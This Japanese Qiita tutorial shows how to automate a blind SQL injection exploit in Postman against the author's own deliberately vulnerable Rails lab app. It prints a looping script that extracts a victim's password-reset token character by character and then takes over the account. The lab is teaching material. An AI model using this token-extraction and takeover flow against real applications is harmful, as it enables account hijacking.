SQLiを利用したExploitも書ける。そうPostmanならね。

## 最初に

以下の記事で作ったSQLiがあるアプリに対する一連の攻撃を、  
PostmanのScriptによって実現します。SQLi自体については解説しません。
https://qiita.com/k_karen/items/a1768c31989b08267998


Postmanの以下の機能を利用します。  

- Pre-request Script
  リクエスト前に処理をするScript
- Tests
  リクエスト後に処理をするスクリプト
- Collection
  リクエスト群、Run collectionでまとめて実行可能(実行上限あり？), `setNextRequest` の利用
- Environment
  リクエスト間での情報受け渡しなどに利用出来る。
  一般には普通の環境変数として使われる
- Postbot
  AIによってスクリプトを作ってくれる便利な機能(実行上限あり？)

各機能を詳しく解説することよりも、
実際に使ってみる例としての側面が強い記事になっています。

より具体的には「条件付きのRequestループをPostmanで再現しよう」というところが肝になってます。
その過程で、幾つかの機能にも触れる記事となっています。

## 今回の一連のCollectionを手元に再現する方法
- アプリケーション側
https://github.com/k-karen/sqli-rails を `docker-compose up`するだけです
- Postman側
左上部の`Import` →
https://gist.githubusercontent.com/k-karen/9a6e2d3f519ccdcbb01e63cdb23ef26a/raw/f4e77a0c15f1ec7d867d9030c6016db58c9d2088/SQLi.postman_collection.json
を貼り付けで取り込みができます
環境変数作成と `BASE_API_URL` の設定のみ、後述の説明の通りを実行してください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/2b62bbb0-1d1a-b5c1-00f5-71fbb801134f.png)



## 実際に作っていく  
Exploitは記事の攻撃フローの通りの手順で行います。
https://qiita.com/k_karen/items/a1768c31989b08267998#%E6%94%BB%E6%92%83%E3%83%95%E3%83%AD%E3%83%BC
以下のリクエストが必要になります。

- 被害者の作成(sign_up, activate)
- パスワードリセット要求
- 攻撃者の作成
- 攻撃者のPost作成
- SQLiを利用した攻撃
- パスワードリセット
- ログイン

これらを一連の処理として、PostmanのCollectionにまとめていきます。

以下は先程取り込みを説明したCollectionを一体どういう手順で作ったかの説明になります。
取り込んでいただいて、不明な点についてはその項を確認いただくのが良いかと思います。

### 1. Collection/Environmentの準備
- Collectionを作成
collectons→ `+` から `Blank collection`
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/0c0d0e5e-a9e4-2f32-533e-7c4a060265e1.png)
この`...`に色々な設定があります。
これをクリックして `Rename` からCollectionの名前を変更しましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/401528cc-10a9-638d-5892-699a513ea212.png)

- environments(環境変数)の作成
左のタブで`Collections`が選択されてる状態だと思います。
`Environments`をクリックして `+` から `Create new enviroments`します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/51a9c711-6024-44ab-955e-8e49db54f36b.png)
API(dockerで動いているアプリ)のURLを環境変数に入れます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/2c0a8795-ac96-04ce-518b-05db7bc38a8c.png)
ここにはいろんな値を入れておけるので、
後に利用してリクエスト間の情報のやり取りを行います。
自分はstaticな値をUPPER_CASEに、
スクリプトで扱う値をlower_caseに命名しています。

### 2. リクエストの作成
コレクションに `Add request` します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/a80f8be4-a76b-5489-48d0-f8cce677ba80.png)

methodをPOSTリクエストに変更して、
requestURLを `{{BASE_API_URL}}/users/sign_up` に設定します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/15b2247d-7a37-31cd-3de2-9e30a36fe366.png)

ランダムなemailとpasswordを作って、
environmentにセットするスクリプト(Pre-request Script)を作成します。
(実際のスクリプトは私のコレクションを確認してください。)

sign_upのAPIを叩く際の手順は以下です
1. `Pre-request Script` でランダムなemailとpasswordを作成し、environmentにセット
2. environmentの値をpostする
3. `Tests`のスクリプトでresponseのtokenをenvironmentにセット.  

リクエストの __前__ に処理したいことを `Pre-request Script`に、
__後__ に処理したいことを`Tests`に書く事ができるということです。
以下にその具体的なscriptとその書き方の一例を示します。

#### 2-1. ランダムな値の生成し, environment経由でRequestにセットする
Testsタブの右上にあるアイコンをクリックすると、[Postbot](https://learning.postman.com/docs/getting-started/basics/about-postbot/)が使えます。
こいつに書きたいスクリプトをお願いするとそれをTestsに吐き出してくれます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/c3d73c3e-6b6d-5a9f-43bc-ec97ff06f163.png)

ここでは、
`generate random password and email address, set it for environment value, 'hoge','fuga'`
とお願いして __Tests__ に吐き出してもらったスクリプトを __Pre-resuest Script__ へコピーしています。
(hoge, fugaは後に適切な名前に変更しています。)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/cf0e0c20-de9e-f634-6ec6-c7ac0f51ef2d.png)

```pre-request.js
// Generate random email address and password
var randomEmail = "test_victim_" + Math.floor(Math.random() * 1000) + "@example.com";
var randomPassword = "password" + Math.floor(Math.random() * 1000);

// Body 側では {{victim_email}}などとしてこの値を参照出来ます
pm.environment.set("victim_email", randomEmail);
pm.environment.set("victim_password", randomPassword);
```

このスクリプトによって設定されたランダムなEmailとパスワードはリクエストのBodyで以下のように使えます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/c318f5ff-0622-25f4-9540-4a304c423519.png)


#### 2-2. レスポンスの格納について
また、このリクエストのレスポンスで帰ってくるtokenをactivateのために使いたいので次のリクエストのためにsetします
Postbotに`set response.token value, as "token"` として
実際にrequestを送ると、以下のようなscriptを得られます。

```response.json
{
    "message": "アカウントを作成しました",
    "token": "kfXs2WhrNLA8g6d7EG39"
}
```

```tests.js
var responseBody = pm.response.json();
var token = responseBody.token;
pm.environment.set("token", token);
```


### 3. 他のリクエストも作っていく
以下のように必要な一連のリクエストを作成します。

#### activate
前のリクエストで取得したtokenをenvironmentにセットしたので、
他のリクエストでもこの値を使う事ができます。
以下のように設定すると、直前にsign_upで取得したtokenをPost出来ます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/7921ef34-aeca-f379-6ba8-edeb69816977.png)

#### login
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/3da445c3-fa40-6e18-5a4b-46eddaa240f9.png)

#### me(ログイン済みセッション/cookieであることを確認するAPI)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/50ab01c3-63b3-f0f3-24f6-f611d09e66e2.png)

PostmanはloginAPIを叩いたときのSet-CookieでSetされたCookieを自動で引き継いでくれるので、認証状態が引き継がれます。
なお、Cookieを消したいときは画面下部(右下)にあるCookieｓから編集可能です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/a81b1647-dac2-01a8-5e37-ca5481cfef45.png)


### 4. Collectionの一連を流す
※この機能は無料版だと実行回数に制限があるみたいですお気をつけください。
(ただ超えてても実行できたりして意味がわからない、リモートのリソースが不要な機能そうなのになぜ制限があるのか… :thinking: )
https://learning.postman.com/docs/billing/resource-usage/#manual-collection-runner-runs

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/9e98d22c-1931-4e44-b5d5-dba01f155ea9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/779a494d-6cf6-32bd-6675-7d2c772fe33e.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/5919415f-57b9-805e-c509-3e142bf02881.png)

ということで、一連のリクエストを流すことが出来たので、攻撃の実装に移ります。

### 5.攻撃部分の実装
#### ログインまで
もともとのRequestにvictim_というprefixを加えます。
それらをコピーして、hacker_というprefixのものも作ります。
このとき、リクエストBody, Pre-request Script, testsの変数名もhacker_というprefixを足すようにしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/738d7178-0e60-c054-b3b0-cf51dfa6c63a.png)

これで攻撃者のLoginまで完了です。  

#### 攻撃下準備
以下のリクエストの作成は割愛します(importしたCollectionを参照してください)
- 被害者のemailアドレスを使ってpassword reset要求を送ります。
- count結果を使ったSQLiを実行するので、Count対象になるPostを作成します。

#### Run Collection時に一部リクエストをループする方法
`setNextRequest`を使って自分を呼び出し直せます。
environmentでループしている関数を管理できます。

たとえば`count_keyword` という名前のRequestを3回実行したい場合以下のようなものを作成します。

```tests.js
const LOOP_TIMES = 3 // Loopの回数

const loop_count = Number(pm.environment.get("loop_count") || 1)
pm.environment.set("loop_count", loop_count + 1)
if (loop_count < LOOP_TIMES) { // ３回目は次のリクエストをセットしないので、ここは≦ではなく<です
    postman.setNextRequest("count_keyword")
} else {
    // 繰り返しCollection Runするときのために0をセットしておく
    pm.environment.set("loop_count", 1)
}
```



### 6. 実際のExploitのコードをTestsのスクリプトで再現する

今回のExploitでは、tokenの文字列を `token like 'a%'` のような形で１文字ずつ試し、
countの値が変わったかを確認していくことでtoken全体を得られます。
そのために`トークン候補文字配列の何文字目か`と`その時点でのtokenの文字列`の情報を、
ループのリクエスト間で引き継ぐ必要があります。

その場合のスクリプトは以下のとおりです。

(SQLi自体はbodyのkeywordの値に指定されている文字列により発生します。
これについて具体的な値はImportしたCollectionを参照ください。
意味については最初の記事を御覧ください)

```tests.js
const range = (start, end) => Array.from({ length: end.charCodeAt(0) - start.charCodeAt(0) + 1 }, (_, i) => String.fromCharCode(start.charCodeAt(0) + i))

// [A-Za-z0-9_-] がtokenの文字列になりうるとしています
const CHARACTORS = [...range('A', 'Z'), ...range('a', 'z'), ...range('0', '9'), '_', '-'];
const INDEX_UPPER = CHARACTORS.length - 1

// Request間で使い回す変数です。
// 何文字目まで確認したかと、今SQLiに指定したtokenの文字列を意味しています。
const arr_index = Number(pm.environment.get("arr_index") || 0)
const current_token = pm.environment.get("current_token") || ''

if (0 < Number(pm.response.json().count)) { // tokenが前方一致なら 0 < countになる
    pm.environment.set("arr_index", 0)
    pm.environment.set("current_token", `${current_token}${CHARACTORS[0]}`)
    postman.setNextRequest("count_keyword")
} else if (arr_index < INDEX_UPPER) { 
    // tokenが前方一致しない場合
    // 次のリクエストに備えて、確認するtokenの最後の文字を
    // CHARACTORS上での次の文字にします。処理は以下のとおりです
    pm.environment.set("arr_index", arr_index + 1)
    pm.environment.set("current_token", `${current_token.slice(0, -1)}${CHARACTORS[arr_index + 1]}`)
    postman.setNextRequest("count_keyword")
} else { // 探索の終了
    // 最後の文字まで検索してもcountが0より大きくならなかったら探索を終了します。
    // このとき最後の文字はtokenの文字ではないので、それを切り捨てたところまでがtokenです
    pm.environment.set("hacked_token", current_token.slice(0, -1))
    // 繰り返しCollection Runするときのためにenvをresetする
    pm.environment.set("arr_index", 0)
    pm.environment.set("current_token", '')
}
```

#### Hackしたtokenの確認処理
hacked_tokenに入ってる値をPostして、ランダムに生成したパスワードの変更を試みます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/ed21f5a2-ea5b-8c10-9c78-ba039ef98ed8.png)

あとはlogin, meのコールを行い、victim_meとhacked_meのresponseが同じであることを確認して終わりです。


`Persist response for a session` のチェックを付けて`Run SQLi` を押して暫く待つ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/1a42ca0f-061e-9895-659d-b0a782349d9c.png)

ぐわ〜〜〜っとpassword reset tokenを探すためのcount_keywordへのリクエストがたくさん流れて、
最終的にvictimのパスワードを `hacked_your_pass` に変更してログインできることが確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/1e6d78b5-6b29-330e-e16a-6b97da8d1955.png)

### 公開したい場合
Exportからjsonを保存できます。  
これをgitのgistにアップロードすることで、他の人とも共有できます。  
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/268490/67962d13-42e6-8290-4291-dd0217778c29.png)

(CollectionをPublishsするだけだと、testsなどが共有できなかった)


## まとめ
envrionmentはrequest内の

Pre-request
→実際のリクエスト(Body, Headerなど)
→Tests(レスポンス受け取ったあとの処理)

の全てで参照ができる値です。

また __request間でもこの値を引き継ぐことが出来る__ ので、
request間に依存があるようなものでもPostamanで管理ができます。

Cookieなどは自動で制御されて、リクエストに付与されます。  
そのため、(cookieでログイン状態を管理してるなら)ログインが必要なAPIのコールなども出来ます。
ちなみに、headerにAuthorizationなどを含めるようなサイトの場合も、Headerをカスタムすれば可能です。

今回はExploitの肝となる部分でTestsをメインに使いました。
environmentとsetNextRequestのあわせ技で、条件付きのループを回すことが出来ました。  

## 補足
Scriptを使わずに、ただランダムな値を設定したいケースでは以下の機能が便利です。
https://learning.postman.com/docs/writing-scripts/script-references/variables-list/